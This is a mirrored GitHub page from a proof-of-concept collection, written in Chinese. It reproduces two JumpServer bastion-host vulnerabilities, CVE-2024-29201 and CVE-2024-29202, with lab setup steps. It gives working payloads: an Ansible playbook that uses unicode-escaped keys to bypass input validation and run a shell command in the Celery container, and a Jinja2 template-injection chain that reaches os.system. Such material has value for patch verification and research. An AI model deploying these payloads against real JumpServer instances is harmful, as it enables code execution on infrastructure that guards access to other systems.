mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-30 06:24:42 +00:00
110 lines
4.0 KiB
Markdown
110 lines
4.0 KiB
Markdown
|
## JumpServer(CVE-2024-29201)远程代码执行漏洞&(CVE-2024-29202)Jinin2模板注入漏洞
|
|||
|
|
|
|||
|
|
JumpServer 是广受欢迎的开源堡垒机，是符合 4A 规范的专业运维安全审计系统。
|
|||
|
|
|
|||
|
|
CVE-2024-29201 远程代码执行漏洞，该漏洞可绕过 JumpServer 的 Ansible 中的输入验证机制，在 Celery 容器中执行任意代码
|
|||
|
|
CVE-2024-29202 Jinin2 模板注入漏洞，该漏洞是有 JumpServer 的 Ansible 中存在 Jinja2 模板注入，在 Celery 容器中执行任意代码。
|
|||
|
|
|
|||
|
|
## 影响版本
|
|||
|
|
```v3.0.0 <= JumpServer <= v3.10.6```
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
首先下载官方提供的脚本https://resource.fit2cloud.com/jumpserver/jumpserver/releases/latest/download/quick_start.sh，下载后编辑 quick_start.sh，将脚本中的 VERSION 修改为存在漏洞版本，如：V3.10.6。如下图所示：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
等待服务启动，启动完成后访问 http://ip/
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
JumpServer 默认账号密码为 admin/admin
|
|||
|
|
|
|||
|
|
接着进入后台添加资产，具体步骤如下图所示：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
添加资产后需要测试是否添加成功，点击资产后面的 更多-测试 进行测试。
|
|||
|
|
|
|||
|
|
资产添加完成后添加用户，如下图所示：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
最后为用户分配一个资产，如下图所示：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
至此环境搭建完成。
|
|||
|
|
|
|||
|
|
## CVE-2024-29201
|
|||
|
|
|
|||
|
|
登陆创建的普通用户账号，进入 作业中心-模板管理 添加一个 Playbook
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
点击创建的 Playbook 名称，切换到 工作空间，输入以下内容：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
[{
|
|||
|
|
"name": "RCE playbook",
|
|||
|
|
"hosts": "all",
|
|||
|
|
"tasks": [
|
|||
|
|
{
|
|||
|
|
"name": "this runs in Celery container",
|
|||
|
|
"shell": "id > /tmp/pwnd",
|
|||
|
|
"\u0064elegate_to": "localhost"
|
|||
|
|
} ],
|
|||
|
|
"vars": {
|
|||
|
|
"ansible_\u0063onnection": "local"
|
|||
|
|
}
|
|||
|
|
}]
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
点击保存。保存完成之后切换到 作业管理 页面，创建一个新的 Playbook 作业
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
playbook 作业详情如下：
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
点击保存并运行作业
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
结果如下
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
进入 Celery 容器，查看 tmp 目录下是否存在 pwnd 文件
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## CVE-2024-29202
|
|||
|
|
|
|||
|
|
与 CVE-2024-29201类似，进入 作业中心-模板管理 添加一个 Playbook，在 工作空间 输入的内容为：
|
|||
|
|
```
|
|||
|
|
- name: |
|
|||
|
|
{% for x in ().__class__.__base__.__subclasses__() %}
|
|||
|
|
{% if "warning" in x.__name__ %}
|
|||
|
|
{{
|
|||
|
|
x()._module.__builtins__["__import__"]("os").system("id > /tmp/pwnd2")
|
|||
|
|
}}
|
|||
|
|
{%endif%}
|
|||
|
|
{%endfor%}
|
|||
|
|
```
|
|||
|
|
添加完成后，同样进入作业管理页面创建并运行 Playbook 作业。运行结果如下
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 漏洞来源
|
|||
|
|
- https://wh0am1i.com/2024/03/30/JumpServer-CVE-2024-29201-CVE-2024-29202/
|
|||
|
|
- https://github.com/jumpserver/jumpserver/security/advisories/GHSA-pjpp-cm9x-6rwj
|
|||
|
|
- https://github.com/jumpserver/jumpserver/security/advisories/GHSA-2vvr-vmvx-73ch
|